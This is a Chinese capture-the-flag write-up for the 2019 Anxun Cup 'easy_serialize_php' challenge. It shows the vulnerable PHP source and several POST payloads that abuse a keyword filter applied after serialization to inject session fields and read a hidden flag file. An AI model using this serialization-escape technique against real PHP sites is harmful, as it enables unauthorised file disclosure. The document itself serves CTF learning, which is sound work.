[安洵杯 2019]easy_serialize_php
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
f=phpinfo 得到
d0g3_f1ag.php
ZDBnM19mMWFnLnBocA==
在get ?f=show_image下
随便赋值 echo一下序列化
需要吞掉这一段

我一开始构造
_SESSION[1] =flagflagflagflagflagphp&_SESSION[function]=";s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;}
发现不行,对比网上别人的payload发现必须function这些才行
重新修改
_SESSION[1] =flagflagflagflagflagphp&_SESSION[function]=";s:8:"function";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
得到
flag in /d0g3_fllllllag
_SESSION[1] =flagflagflagflagflagphp&_SESSION[function]=";s:8:"function";s:1:"1";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
看到网上其他师傅们,$_SESSION[‘flag’]赋值,我尝试做一下
>>> b='";s:1:"1";s:8:"function";s:40:"'
>>> len(b)
31
需要吞掉31位(7个flag+1个php)
构造payload:
_SESSION[flagflagflagflagflagflagflagphp] =1&_SESSION[function]=";s:1:"1";s:8:"function";s:1:"a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
但是我发现,别人只用了这么短的句子解决,捂脸
_SESSION[flagphp]=;i:1;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
只用吞掉";s:44:

本文介绍了在安洵杯2019比赛中遇到的一个PHP序列化漏洞。通过分析phpinfo获取到的线索,发现需要在get请求中构造特定的SESSION变量来解密并显示隐藏的flag。作者尝试了不同的payload,最终找到成功的方法,揭示了在处理序列化数据时需要注意的关键点。

663

被折叠的 条评论
为什么被折叠?



